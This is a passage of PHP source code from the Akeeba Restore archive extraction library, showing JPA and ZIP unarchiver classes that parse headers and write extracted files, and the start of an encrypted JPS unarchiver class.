		$bin_data    = fread($this->fp, 14);
		$header_data = unpack('Cmajor/Cminor/Vcount/Vuncsize/Vcsize', $bin_data);

		// Temporary array with all the data we read
		$temp = [
			'signature'        => $sig,
			'length'           => $header_length,
			'major'            => $header_data['major'],
			'minor'            => $header_data['minor'],
			'filecount'        => $header_data['count'],
			'uncompressedsize' => $header_data['uncsize'],
			'compressedsize'   => $header_data['csize'],
			'unknowndata'      => '',
		];

		// Load additional header data
		$rest_length = $header_length - 19;
		$junk        = '';

		while ($rest_length > 8)
		{
			// Read the extra length signature and size
			$extraSig    = fread($this->fp, 4);
			$binData     = fread($this->fp, 2);
			$extraHeader = unpack('vlength', $binData);
			$length      = $extraHeader['length'] - 2;

			$rest_length -= 6 + $length;

			switch ($extraSig)
			{
				case "\x4A\x50\x01\x01":
					$moreBinData        = fread($this->fp, $length);
					$moreExtraHeader    = unpack('vtotalParts', $moreBinData);
					$temp['totalParts'] = $moreExtraHeader['totalParts'];
					break;

				case "\x4A\x50\x01\x02":
					$moreBinData              = fread($this->fp, $length);

					// Only decode on 64-bit versions of PHP
					if (PHP_INT_SIZE >= 8)
					{
						$moreExtraHeader          = unpack('Puncompressed/Pcompressed', $moreBinData);
						$header_data['uncsize']   = $moreExtraHeader['uncompressed'];
						$header_data['csize']     = $moreExtraHeader['compressed'];
						$temp['uncompressedsize'] = $moreExtraHeader['uncompressed'];
						$temp['compressedsize']   = $moreExtraHeader['compressed'];
					}

					break;

				default:
					$moreBinData = fread($this->fp, $length);
					$junk        .= $extraSig . $binData . $moreBinData;
					break;
			}
		}

		if ($rest_length > 0)
		{
			$junk .= fread($this->fp, $rest_length);
		}
		else
		{
			$junk .= '';
		}

		// Array-to-object conversion
		foreach ($temp as $key => $value)
		{
			$this->archiveHeaderData->{$key} = $value;
		}

		debugMsg('Header data:');
		debugMsg('Length              : ' . $header_length);
		debugMsg('Major               : ' . $header_data['major']);
		debugMsg('Minor               : ' . $header_data['minor']);
		debugMsg('File count          : ' . $header_data['count']);
		debugMsg('Uncompressed size   : ' . $header_data['uncsize']);
		debugMsg('Compressed size     : ' . $header_data['csize']);
		debugMsg('Total Parts         : ' . (isset($header_data['totalParts']) ? $header_data['totalParts'] : '1'));

		$this->currentPartOffset = @ftell($this->fp);

		$this->dataReadLength = 0;

		return true;
	}

	/**
	 * Concrete classes must use this method to read the file header
	 *
	 * @return bool True if reading the file was successful, false if an error occurred or we reached end of archive
	 */
	protected function readFileHeader()
	{
		// If the current part is over, proceed to the next part please
		if ($this->isEOF(true))
		{
			debugMsg('Archive part EOF; moving to next file');
			$this->nextFile();
		}

		$this->currentPartOffset = ftell($this->fp);

		debugMsg("Reading file signature; part {$this->currentPartNumber}, offset {$this->currentPartOffset}");
		// Get and decode Entity Description Block
		$signature = fread($this->fp, 3);

		$this->fileHeader            = new stdClass();
		$this->fileHeader->timestamp = 0;

		// Check signature
		if ($signature != 'JPF')
		{
			if ($this->isEOF(true))
			{
				// This file is finished; make sure it's the last one
				$gotNextFile = $this->nextFile();

				if (!$gotNextFile && $this->getState() !== 'postrun')
				{
					debugMsg(sprintf('Cannot open file %s for part #%d', $this->archiveList[$this->currentPartNumber] ?: '(unknown)', $this->currentPartNumber));

					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER_OFFSET_ZERO',
						$this->archiveList[$this->currentPartNumber] ?: '(unknown)',
						$this->currentPartNumber,
						'jpa',
						'j'
					));

					return false;
				}

				if (!$this->isEOF(false))
				{
					debugMsg('Invalid file signature before end of archive encountered');
					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER',
						$this->currentPartNumber,
						$this->currentPartOffset,
						'jpa',
						'j'
					));

					return false;
				}

				// We're just finished
				return false;
			}
			else
			{
				$screwed = true;

				if (AKFactory::get('kickstart.setup.ignoreerrors', false))
				{
					debugMsg('Invalid file block signature; launching heuristic file block signature scanner');
					$screwed = !$this->heuristicFileHeaderLocator();

					if (!$screwed)
					{
						$signature = 'JPF';
					}
					else
					{
						debugMsg('Heuristics failed. Brace yourself for the imminent crash.');
					}
				}

				if ($screwed)
				{
					// This is not a file block! The archive is corrupt.
					debugMsg('Invalid file block signature');

					if (count($this->archiveList) > 1)
					{
						$this->setError(AKText::sprintf(
							'INVALID_FILE_HEADER_MULTIPART',
							$this->currentPartNumber,
							$this->currentPartOffset,
							'jpa',
							'j'
						));

						return false;
					}

					$this->setError(AKText::sprintf('INVALID_FILE_HEADER', $this->currentPartNumber, $this->currentPartOffset));

					return false;
				}
			}
		}
		// This a JPA Entity Block. Process the header.

		$isBannedFile = false;

		// Read length of EDB and of the Entity Path Data
		$length_array = unpack('vblocksize/vpathsize', fread($this->fp, 4));
		// Read the path data
		if ($length_array['pathsize'] > 0)
		{
			$file = fread($this->fp, $length_array['pathsize']);
		}
		else
		{
			$file = '';
		}

		// Handle file renaming
		$isRenamed = false;
		if (is_array($this->renameFiles) && (count($this->renameFiles) > 0))
		{
			if (array_key_exists($file, $this->renameFiles))
			{
				$file      = $this->renameFiles[$file];
				$isRenamed = true;
			}
		}

		// Handle directory renaming
		$isDirRenamed = false;
		if (is_array($this->renameDirs) && (count($this->renameDirs) > 0))
		{
			if (array_key_exists(dirname($file), $this->renameDirs))
			{
				$file         = rtrim($this->renameDirs[dirname($file)], '/') . '/' . basename($file);
				$isRenamed    = true;
				$isDirRenamed = true;
			}
		}

		// Read and parse the known data portion
		$bin_data    = fread($this->fp, 14);
		$header_data = unpack('Ctype/Ccompression/Vcompsize/Vuncompsize/Vperms', $bin_data);
		// Read any unknown data
		$restBytes = $length_array['blocksize'] - (21 + $length_array['pathsize']);

		if ($restBytes > 0)
		{
			// Start reading the extra fields
			while ($restBytes >= 4)
			{
				$extra_header_data      = fread($this->fp, 4);
				$extra_header           = unpack('vsignature/vlength', $extra_header_data);
				$restBytes              -= 4;
				$extra_header['length'] -= 4;

				if ($extra_header['length'] > 0)
				{
					switch ($extra_header['signature'])
					{
						case 256:
							// File modified timestamp
							$bindata                     = fread($this->fp, $extra_header['length']);
							$restBytes                   -= $extra_header['length'];
							$timestamps                  = unpack('Vmodified', substr($bindata, 0, 4));
							$filectime                   = $timestamps['modified'];
							$this->fileHeader->timestamp = $filectime;
							break;

						case 512:
							$bindata                   = fread($this->fp, $extra_header['length']);
							$restBytes                 -= $extra_header['length'];

							// Only decode on 64-bit versions of PHP
							if (PHP_INT_SIZE >= 8)
							{
								$sizes                     = unpack('Pclen/Punclen', $bindata);
								$header_data['compsize']   = $sizes['clen'];
								$header_data['uncompsize'] = $sizes['unclen'];
							}
							break;

						default:
							// Unknown field
							$junk      = fread($this->fp, $extra_header['length']);
							$restBytes -= $extra_header['length'];
							break;
					}
				}

			}

			if ($restBytes > 0)
			{
				$junk = fread($this->fp, $restBytes);
			}
		}

		$compressionType = $header_data['compression'];

		// Populate the return array
		$this->fileHeader->file         = $file;
		$this->fileHeader->compressed   = $header_data['compsize'];
		$this->fileHeader->uncompressed = $header_data['uncompsize'];

		switch ($header_data['type'])
		{
			case 0:
				$this->fileHeader->type = 'dir';
				break;

			case 1:
				$this->fileHeader->type = 'file';
				break;

			case 2:
				$this->fileHeader->type = 'link';
				break;
		}

		switch ($compressionType)
		{
			case 0:
				$this->fileHeader->compression = 'none';
				break;
			case 1:
				$this->fileHeader->compression = 'gzip';
				break;
			case 2:
				$this->fileHeader->compression = 'bzip2';
				break;
		}

		$this->fileHeader->permissions = $header_data['perms'];

		// Find hard-coded banned files
		if ((basename($this->fileHeader->file) == ".") || (basename($this->fileHeader->file) == ".."))
		{
			$isBannedFile = true;
		}

		// Also try to find banned files passed in class configuration
		if ((count($this->skipFiles) > 0) && (!$isRenamed))
		{
			if (in_array($this->fileHeader->file, $this->skipFiles))
			{
				$isBannedFile = true;
			}
		}

		// If we have a banned file, let's skip it
		if ($isBannedFile)
		{
			debugMsg('Skipping file ' . $this->fileHeader->file);
			// Advance the file pointer, skipping exactly the size of the compressed data
			$seekleft = $this->fileHeader->compressed;
			while ($seekleft > 0)
			{
				// Ensure that we can seek past archive part boundaries
				$curSize = @filesize($this->archiveList[$this->currentPartNumber]);
				$curPos  = @ftell($this->fp);
				$canSeek = $curSize - $curPos;
				if ($canSeek > $seekleft)
				{
					$canSeek = $seekleft;
				}
				@fseek($this->fp, $canSeek, SEEK_CUR);
				$seekleft -= $canSeek;
				if ($seekleft)
				{
					$this->nextFile();
				}
			}

			$this->currentPartOffset = @ftell($this->fp);
			$this->runState          = AK_STATE_DONE;

			return true;
		}

		// Remove the removePath, if any
		$this->fileHeader->file = $this->removePath($this->fileHeader->file);

		// Last chance to prepend a path to the filename
		if (!empty($this->addPath) && !$isDirRenamed)
		{
			$this->fileHeader->file = $this->addPath . $this->fileHeader->file;
		}

		// Get the translated path name
		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);

		if (!$this->mustSkip())
		{
			if ($this->fileHeader->type == 'file')
			{
				// Regular file; ask the postproc engine to process its filename
				if ($restorePerms)
				{
					$this->fileHeader->realFile =
						$this->postProcEngine->processFilename($this->fileHeader->file, $this->fileHeader->permissions);
				}
				else
				{
					$this->fileHeader->realFile = $this->postProcEngine->processFilename($this->fileHeader->file);
				}
			}
			elseif ($this->fileHeader->type == 'dir')
			{
				$dir = $this->fileHeader->file;

				// Directory; just create it
				if ($restorePerms)
				{
					$this->postProcEngine->createDirRecursive($dir, $this->fileHeader->permissions);
				}
				else
				{
					$this->postProcEngine->createDirRecursive($dir, 0755);
				}

				$this->postProcEngine->processFilename(null);
			}
			else
			{
				// Symlink; do not post-process
				$this->postProcEngine->processFilename(null);
			}

			$this->createDirectory();
		}

		// Header is read
		$this->runState = AK_STATE_HEADER;

		$this->dataReadLength = 0;

		return true;
	}

	protected function heuristicFileHeaderLocator()
	{
		$ret     = false;
		$fullEOF = false;

		while (!$ret && !$fullEOF)
		{
			$this->currentPartOffset = @ftell($this->fp);

			if ($this->isEOF(true))
			{
				$this->nextFile();
			}

			if ($this->isEOF(false))
			{
				$fullEOF = true;
				continue;
			}

			// Read 512Kb
			$chunk     = fread($this->fp, 524288);
			$size_read = mb_strlen($chunk, '8bit');
			//$pos = strpos($chunk, 'JPF');
			$pos = mb_strpos($chunk, 'JPF', 0, '8bit');

			if ($pos !== false)
			{
				// We found it!
				$this->currentPartOffset += $pos + 3;
				@fseek($this->fp, $this->currentPartOffset, SEEK_SET);
				$ret = true;
			}
			else
			{
				// Not yet found :(
				$this->currentPartOffset = @ftell($this->fp);
			}
		}

		return $ret;
	}

	/**
	 * Creates the directory this file points to
	 */
	protected function createDirectory()
	{
		if ($this->mustSkip())
		{
			return true;
		}

		// Do we need to create a directory?
		if (empty($this->fileHeader->realFile))
		{
			$this->fileHeader->realFile = $this->fileHeader->file;
		}

		$lastSlash = strrpos($this->fileHeader->realFile, '/');
		$dirName   = substr($this->fileHeader->realFile, 0, $lastSlash);
		$perms     = $this->flagRestorePermissions ? $this->fileHeader->permissions : 0755;
		$ignore    = AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($dirName);

		if (($this->postProcEngine->createDirRecursive($dirName, $perms) == false) && (!$ignore))
		{
			$this->setError(AKText::sprintf('COULDNT_CREATE_DIR', $dirName));

			return false;
		}
		else
		{
			return true;
		}
	}

	/**
	 * Concrete classes must use this method to process file data. It must set $runState to AK_STATE_DATAREAD when
	 * it's finished processing the file data.
	 *
	 * @return bool True if processing the file data was successful, false if an error occurred
	 */
	protected function processFileData()
	{
		switch ($this->fileHeader->type)
		{
			case 'dir':
				return $this->processTypeDir();
				break;

			case 'link':
				return $this->processTypeLink();
				break;

			case 'file':
				switch ($this->fileHeader->compression)
				{
					case 'none':
						return $this->processTypeFileUncompressed();
						break;

					case 'gzip':
					case 'bzip2':
						return $this->processTypeFileCompressedSimple();
						break;

				}
				break;

			default:
				debugMsg('Unknown file type ' . $this->fileHeader->type);
				break;
		}
	}

	/**
	 * Process the file data of a directory entry
	 *
	 * @return bool
	 */
	private function processTypeDir()
	{
		// Directory entries in the JPA do not have file data, therefore we're done processing the entry
		$this->runState = AK_STATE_DATAREAD;

		return true;
	}

	/**
	 * Process the file data of a link entry
	 *
	 * @return bool
	 */
	private function processTypeLink()
	{
		$readBytes   = 0;
		$toReadBytes = 0;
		$leftBytes   = $this->fileHeader->compressed;
		$data        = '';

		while ($leftBytes > 0)
		{
			$toReadBytes     = ($leftBytes > $this->chunkSize) ? $this->chunkSize : $leftBytes;
			$mydata          = $this->fread($this->fp, $toReadBytes);
			$reallyReadBytes = akstringlen($mydata);
			$data            .= $mydata;
			$leftBytes       -= $reallyReadBytes;

			if ($reallyReadBytes < $toReadBytes)
			{
				// We read less than requested! Why? Did we hit local EOF?
				if ($this->isEOF(true) && !$this->isEOF(false))
				{
					// Yeap. Let's go to the next file
					$this->nextFile();
				}
				else
				{
					debugMsg('End of local file before reading all data with no more parts left. The archive is corrupt or truncated.');
					// Nope. The archive is corrupt
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
			}
		}

		$filename = isset($this->fileHeader->realFile) ? $this->fileHeader->realFile : $this->fileHeader->file;

		if (!$this->mustSkip())
		{
			// Try to remove an existing file or directory by the same name
			if (file_exists($filename))
			{
				@unlink($filename);
				@rmdir($filename);
			}

			// Remove any trailing slash
			if (substr($filename, -1) == '/')
			{
				$filename = substr($filename, 0, -1);
			}
			// Create the symlink - only possible within PHP context. There's no support built in the FTP protocol, so no postproc use is possible here :(
			@symlink($data, $filename);
		}

		$this->runState = AK_STATE_DATAREAD;

		return true; // No matter if the link was created!
	}

	private function processTypeFileUncompressed()
	{
		// Uncompressed files are being processed in small chunks, to avoid timeouts
		if (($this->dataReadLength == 0) && !$this->mustSkip())
		{
			// Before processing file data, ensure permissions are adequate
			$this->setCorrectPermissions($this->fileHeader->file);
		}

		// Open the output file
		if (!$this->mustSkip())
		{
			$ignore =
				AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($this->fileHeader->file);

			if ($this->dataReadLength == 0)
			{
				$outfp = @fopen($this->fileHeader->realFile, 'w');
			}
			else
			{
				$outfp = @fopen($this->fileHeader->realFile, 'a');
			}

			// Can we write to the file?
			if (($outfp === false) && (!$ignore))
			{
				// An error occurred
				debugMsg('Could not write to output file');
				$this->setError(AKText::sprintf('COULDNT_WRITE_FILE', $this->fileHeader->realFile));

				return false;
			}
		}

		// Does the file have any data, at all?
		if ($this->fileHeader->compressed == 0)
		{
			// No file data!
			if (!$this->mustSkip() && is_resource($outfp))
			{
				@fclose($outfp);
			}

			$this->runState = AK_STATE_DATAREAD;

			return true;
		}

		// Reference to the global timer
		$timer = AKFactory::getTimer();

		$toReadBytes = 0;
		$leftBytes   = $this->fileHeader->compressed - $this->dataReadLength;

		// Loop while there's data to read and enough time to do it
		while (($leftBytes > 0) && ($timer->getTimeLeft() > 0))
		{
			$toReadBytes          = ($leftBytes > $this->chunkSize) ? $this->chunkSize : $leftBytes;
			$data                 = $this->fread($this->fp, $toReadBytes);
			$reallyReadBytes      = akstringlen($data);
			$leftBytes            -= $reallyReadBytes;
			$this->dataReadLength += $reallyReadBytes;

			if ($reallyReadBytes < $toReadBytes)
			{
				// We read less than requested! Why? Did we hit local EOF?
				if ($this->isEOF(true) && !$this->isEOF(false))
				{
					// Yeap. Let's go to the next file
					$this->nextFile();
				}
				else
				{
					// Nope. The archive is corrupt
					debugMsg('Not enough data in file. The archive is truncated or corrupt.');
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
			}

			if (!$this->mustSkip())
			{
				if (is_resource($outfp))
				{
					@fwrite($outfp, $data);
				}
			}
		}

		// Close the file pointer
		if (!$this->mustSkip())
		{
			if (is_resource($outfp))
			{
				@fclose($outfp);
			}
		}

		// Was this a pre-timeout bail out?
		if ($leftBytes > 0)
		{
			$this->runState = AK_STATE_DATA;
		}
		else
		{
			// Oh! We just finished!
			$this->runState       = AK_STATE_DATAREAD;
			$this->dataReadLength = 0;
		}

		return true;
	}

	private function processTypeFileCompressedSimple()
	{
		if (!$this->mustSkip())
		{
			// Before processing file data, ensure permissions are adequate
			$this->setCorrectPermissions($this->fileHeader->file);

			// Open the output file
			$outfp = @fopen($this->fileHeader->realFile, 'w');

			// Can we write to the file?
			$ignore =
				AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($this->fileHeader->file);

			if (($outfp === false) && (!$ignore))
			{
				// An error occurred
				debugMsg('Could not write to output file');
				$this->setError(AKText::sprintf('COULDNT_WRITE_FILE', $this->fileHeader->realFile));

				return false;
			}
		}

		// Does the file have any data, at all?
		if ($this->fileHeader->compressed == 0)
		{
			// No file data!
			if (!$this->mustSkip())
			{
				if (is_resource($outfp))
				{
					@fclose($outfp);
				}
			}
			$this->runState = AK_STATE_DATAREAD;

			return true;
		}

		// Simple compressed files are processed as a whole; we can't do chunk processing
		$zipData = $this->fread($this->fp, $this->fileHeader->compressed);
		while (akstringlen($zipData) < $this->fileHeader->compressed)
		{
			// End of local file before reading all data, but have more archive parts?
			if ($this->isEOF(true) && !$this->isEOF(false))
			{
				// Yeap. Read from the next file
				$this->nextFile();
				$bytes_left = $this->fileHeader->compressed - akstringlen($zipData);
				$zipData    .= $this->fread($this->fp, $bytes_left);
			}
			else
			{
				debugMsg('End of local file before reading all data with no more parts left. The archive is corrupt or truncated.');
				$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

				return false;
			}
		}

		if ($this->fileHeader->compression == 'gzip')
		{
			$unzipData = gzinflate($zipData);
		}
		elseif ($this->fileHeader->compression == 'bzip2')
		{
			$unzipData = bzdecompress($zipData);
		}
		unset($zipData);

		// Write to the file.
		if (!$this->mustSkip() && is_resource($outfp))
		{
			@fwrite($outfp, $unzipData, $this->fileHeader->uncompressed);
			@fclose($outfp);
		}
		unset($unzipData);

		$this->runState = AK_STATE_DATAREAD;

		return true;
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * ZIP archive extraction class
 *
 * Since the file data portion of ZIP and JPA are similarly structured (it's empty for dirs,
 * linked node name for symlinks, dumped binary data for no compressions and dumped gzipped
 * binary data for gzip compression) we just have to subclass AKUnarchiverJPA and change the
 * header reading bits. Reusable code ;)
 */
class AKUnarchiverZIP extends AKUnarchiverJPA
{
	var $expectDataDescriptor = false;

	protected function readArchiveHeader()
	{
		debugMsg('Preparing to read archive header');
		// Initialize header data array
		$this->archiveHeaderData = new stdClass();

		// Open the first part
		debugMsg('Opening the first part');
		$this->nextFile();

		// Fail for unreadable files
		if ($this->fp === false)
		{
			debugMsg('The first part is not readable');

			return false;
		}

		// Fuzzy check for the start of archive.
		debugMsg('Fuzzy checking for archive signature');

		$sigFound = $this->fuzzySignatureSearch(array(
			pack('V', 0x08074b50), // Multi-part ZIP
			pack('V', 0x30304b50), // Multi-part ZIP (alternate)
			pack('V', 0x04034b50)  // Single file
		), 4);

		if (!$sigFound)
		{
			debugMsg('Cannot find a valid archive signature in the first 128Kb of the first part file');

			$this->setError(AKText::sprintf('ERR_INVALID_ARCHIVE_LONG', 'zip', 'z'));

			return false;
		}

		debugMsg(sprintf('File signature found, position %d', ftell($this->fp)));

		// Read a possible multipart signature
		$sigBinary  = fread($this->fp, 4);
		$headerData = unpack('Vsig', $sigBinary);

		// Roll back if it's not a multipart archive
		if ($headerData['sig'] == 0x04034b50)
		{
			debugMsg('The archive is not multipart');
			fseek($this->fp, -4, SEEK_CUR);
		}
		else
		{
			debugMsg('The archive is multipart');
		}

		$multiPartSigs = array(
			0x08074b50, // Multi-part ZIP
			0x30304b50, // Multi-part ZIP (alternate)
			0x04034b50  // Single file
		);
		if (!in_array($headerData['sig'], $multiPartSigs))
		{
			debugMsg('Invalid header signature ' . dechex($headerData['sig']));
			$this->setError(AKText::sprintf('ERR_INVALID_ARCHIVE_LONG', 'zip', 'z'));

			return false;
		}

		$this->currentPartOffset = @ftell($this->fp);
		debugMsg('Current part offset after reading header: ' . $this->currentPartOffset);

		$this->dataReadLength = 0;

		return true;
	}

	/**
	 * Concrete classes must use this method to read the file header
	 *
	 * @return bool True if reading the file was successful, false if an error occurred or we reached end of archive
	 */
	protected function readFileHeader()
	{
		// If the current part is over, proceed to the next part please
		if ($this->isEOF(true))
		{
			debugMsg('Opening next archive part');
			$gotNextFile = $this->nextFile();
		}

		$this->currentPartOffset = ftell($this->fp);

		if ($this->expectDataDescriptor)
		{
			// The last file had bit 3 of the general purpose bit flag set. This means that we have a
			// 12 byte data descriptor we need to skip. To make things worse, there might also be a 4
			// byte optional data descriptor header (0x08074b50).
			$junk = @fread($this->fp, 4);
			$junk = unpack('Vsig', $junk);
			if ($junk['sig'] == 0x08074b50)
			{
				// Yes, there was a signature
				$junk = @fread($this->fp, 12);
				debugMsg('Data descriptor (w/ header) skipped at ' . (ftell($this->fp) - 12));
			}
			else
			{
				// No, there was no signature, just read another 8 bytes
				$junk = @fread($this->fp, 8);
				debugMsg('Data descriptor (w/out header) skipped at ' . (ftell($this->fp) - 8));
			}

			// And check for EOF, too
			if ($this->isEOF(true))
			{
				debugMsg('EOF before reading header');

				$gotNextFile = $this->nextFile();
			}
		}

		// Get and decode Local File Header
		$headerBinary = fread($this->fp, 30);
		$headerData   =
			unpack('Vsig/C2ver/vbitflag/vcompmethod/vlastmodtime/vlastmoddate/Vcrc/Vcompsize/Vuncomp/vfnamelen/veflen', $headerBinary);

		// Check signature
		if (!($headerData['sig'] == 0x04034b50))
		{
			debugMsg('Not a file signature at ' . (ftell($this->fp) - 4));

			// The signature is not the one used for files. Is this a central directory record (i.e. we're done)?
			if ($headerData['sig'] == 0x02014b50)
			{
				debugMsg('EOCD signature at ' . (ftell($this->fp) - 4));
				// End of ZIP file detected. We'll just skip to the end of file...
				while ($this->nextFile())
				{
				};
				@fseek($this->fp, 0, SEEK_END); // Go to EOF
				return false;
			}
			else
			{
				if (isset($gotNextFile) && !$gotNextFile && $this->getState() !== 'postrun')
				{
					debugMsg(sprintf('Cannot open file %s for part #%d', $this->archiveList[$this->currentPartNumber] ?: '(unknown)', $this->currentPartNumber));

					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER_OFFSET_ZERO',
						$this->archiveList[$this->currentPartNumber] ?: '(unknown)',
						$this->currentPartNumber,
						'zip',
						'z'
					));

					return false;
				}

				if ($this->currentPartOffset === 0 && $this->currentPartNumber > 0)
				{
					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER_MULTIPART',
						$this->currentPartNumber,
						$this->currentPartOffset,
						'jpa',
						'j'
					));

					return false;
				}

				debugMsg('Invalid signature ' . dechex($headerData['sig']) . ' at ' . ftell($this->fp));

				if (count($this->archiveList) > 1)
				{
					$this->setError(AKText::sprintf(
						'INVALID_FILE_HEADER_MULTIPART',
						$this->currentPartNumber,
						$this->currentPartOffset,
						'zip',
						'z'
					));

					return false;
				}

				$this->setError(AKText::sprintf(
					'INVALID_FILE_HEADER',
					$this->currentPartNumber,
					$this->currentPartOffset,
					'zip',
					'z'
				));

				return false;
			}
		}

		// If bit 3 of the bitflag is set, expectDataDescriptor is true
		$this->expectDataDescriptor = ($headerData['bitflag'] & 4) == 4;

		$this->fileHeader            = new stdClass();
		$this->fileHeader->timestamp = 0;

		// Read the last modified data and time
		$lastmodtime = $headerData['lastmodtime'];
		$lastmoddate = $headerData['lastmoddate'];

		if ($lastmoddate && $lastmodtime)
		{
			// ----- Extract time
			$v_hour    = ($lastmodtime & 0xF800) >> 11;
			$v_minute  = ($lastmodtime & 0x07E0) >> 5;
			$v_seconde = ($lastmodtime & 0x001F) * 2;

			// ----- Extract date
			$v_year  = (($lastmoddate & 0xFE00) >> 9) + 1980;
			$v_month = ($lastmoddate & 0x01E0) >> 5;
			$v_day   = $lastmoddate & 0x001F;

			// ----- Get UNIX date format
			$this->fileHeader->timestamp = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
		}

		$isBannedFile = false;

		$this->fileHeader->compressed   = $headerData['compsize'];
		$this->fileHeader->uncompressed = $headerData['uncomp'];
		$nameFieldLength                = $headerData['fnamelen'];
		$extraFieldLength               = $headerData['eflen'];

		// Read filename field
		$this->fileHeader->file = fread($this->fp, $nameFieldLength);

		// Handle file renaming
		$isRenamed = false;
		if (is_array($this->renameFiles) && (count($this->renameFiles) > 0))
		{
			if (array_key_exists($this->fileHeader->file, $this->renameFiles))
			{
				$this->fileHeader->file = $this->renameFiles[$this->fileHeader->file];
				$isRenamed              = true;
			}
		}

		// Handle directory renaming
		$isDirRenamed = false;
		if (is_array($this->renameDirs) && (count($this->renameDirs) > 0))
		{
			if (array_key_exists(dirname($this->fileHeader->file), $this->renameDirs))
			{
				$file         =
					rtrim($this->renameDirs[dirname($this->fileHeader->file)], '/') . '/' . basename($this->fileHeader->file);
				$isRenamed    = true;
				$isDirRenamed = true;
			}
		}

		// Read extra field if present
		if ($extraFieldLength > 0)
		{
			$extrafield = fread($this->fp, $extraFieldLength);
		}

		debugMsg('*' . ftell($this->fp) . ' IS START OF ' . $this->fileHeader->file . ' (' . $this->fileHeader->compressed . ' bytes)');


		// Decide filetype -- Check for directories
		$this->fileHeader->type = 'file';
		if (strrpos($this->fileHeader->file, '/') == strlen($this->fileHeader->file) - 1)
		{
			$this->fileHeader->type = 'dir';
		}
		// Decide filetype -- Check for symbolic links
		if (($headerData['ver1'] == 10) && ($headerData['ver2'] == 3))
		{
			$this->fileHeader->type = 'link';
		}

		switch ($headerData['compmethod'])
		{
			case 0:
				$this->fileHeader->compression = 'none';
				break;
			case 8:
				$this->fileHeader->compression = 'gzip';
				break;
		}

		// Find hard-coded banned files
		if ((basename($this->fileHeader->file) == ".") || (basename($this->fileHeader->file) == ".."))
		{
			$isBannedFile = true;
		}

		// Also try to find banned files passed in class configuration
		if ((count($this->skipFiles) > 0) && (!$isRenamed))
		{
			if (in_array($this->fileHeader->file, $this->skipFiles))
			{
				$isBannedFile = true;
			}
		}

		// If we have a banned file, let's skip it
		if ($isBannedFile)
		{
			// Advance the file pointer, skipping exactly the size of the compressed data
			$seekleft = $this->fileHeader->compressed;
			while ($seekleft > 0)
			{
				// Ensure that we can seek past archive part boundaries
				$curSize = @filesize($this->archiveList[$this->currentPartNumber]);
				$curPos  = @ftell($this->fp);
				$canSeek = $curSize - $curPos;
				if ($canSeek > $seekleft)
				{
					$canSeek = $seekleft;
				}
				@fseek($this->fp, $canSeek, SEEK_CUR);
				$seekleft -= $canSeek;
				if ($seekleft)
				{
					$this->nextFile();
				}
			}

			$this->currentPartOffset = @ftell($this->fp);
			$this->runState          = AK_STATE_DONE;

			return true;
		}

		// Remove the removePath, if any
		$this->fileHeader->file = $this->removePath($this->fileHeader->file);

		// Last chance to prepend a path to the filename
		if (!empty($this->addPath) && !$isDirRenamed)
		{
			$this->fileHeader->file = $this->addPath . $this->fileHeader->file;
		}

		// Get the translated path name
		if (!$this->mustSkip())
		{
			if ($this->fileHeader->type == 'file')
			{
				$this->fileHeader->realFile = $this->postProcEngine->processFilename($this->fileHeader->file);
			}
			elseif ($this->fileHeader->type == 'dir')
			{
				$this->fileHeader->timestamp = 0;

				$dir = $this->fileHeader->file;

				$this->postProcEngine->createDirRecursive($dir, 0755);
				$this->postProcEngine->processFilename(null);
			}
			else
			{
				// Symlink; do not post-process
				$this->fileHeader->timestamp = 0;
				$this->postProcEngine->processFilename(null);
			}

			$this->createDirectory();
		}

		// Header is read
		$this->runState = AK_STATE_HEADER;

		return true;
	}

}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * JPS archive extraction class
 */
class AKUnarchiverJPS extends AKUnarchiverJPA
{
	/**
	 * Header data for the archive
	 *
	 * @var   array
	 */
	protected $archiveHeaderData = array();

	/**
	 * Plaintext password from which the encryption key will be derived with PBKDF2
	 *
	 * @var   string
	 */
	protected $password = '';

	/**
	 * Which hash algorithm should I use for key derivation with PBKDF2.
	 *
	 * @var   string
	 */
	private $pbkdf2Algorithm = 'sha1';

	/**
	 * How many iterations should I use for key derivation with PBKDF2
	 *
	 * @var   int
	 */
	private $pbkdf2Iterations = 1000;

	/**
	 * Should I use a static salt for key derivation with PBKDF2?
	 *
	 * @var   bool
	 */
	private $pbkdf2UseStaticSalt = 0;

	/**
	 * Static salt for key derivation with PBKDF2
	 *
	 * @var   string
	 */
	private $pbkdf2StaticSalt = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";

	/**
	 * How much compressed data I have read since the last file header read
	 *
	 * @var   int
	 */
	private $compressedSizeReadSinceLastFileHeader = 0;

	public function __construct()
	{
		$this->password = AKFactory::get('kickstart.jps.password', '');
	}

	public function __wakeup()
	{
		parent::__wakeup();

		// Make sure the decryption is all set up (required!)
		AKEncryptionAES::setPbkdf2Algorithm($this->pbkdf2Algorithm);
		AKEncryptionAES::setPbkdf2Iterations($this->pbkdf2Iterations);
		AKEncryptionAES::setPbkdf2UseStaticSalt($this->pbkdf2UseStaticSalt);
		AKEncryptionAES::setPbkdf2StaticSalt($this->pbkdf2StaticSalt);
	}


	protected function readArchiveHeader()
	{
		// Initialize header data array
		$this->archiveHeaderData = new stdClass();

		// Open the first part
		$this->nextFile();

		// Fail for unreadable files
		if ($this->fp === false)
		{
			return false;
		}

		// Fuzzy check for the start of archive.
		debugMsg('Fuzzy checking for archive signature');

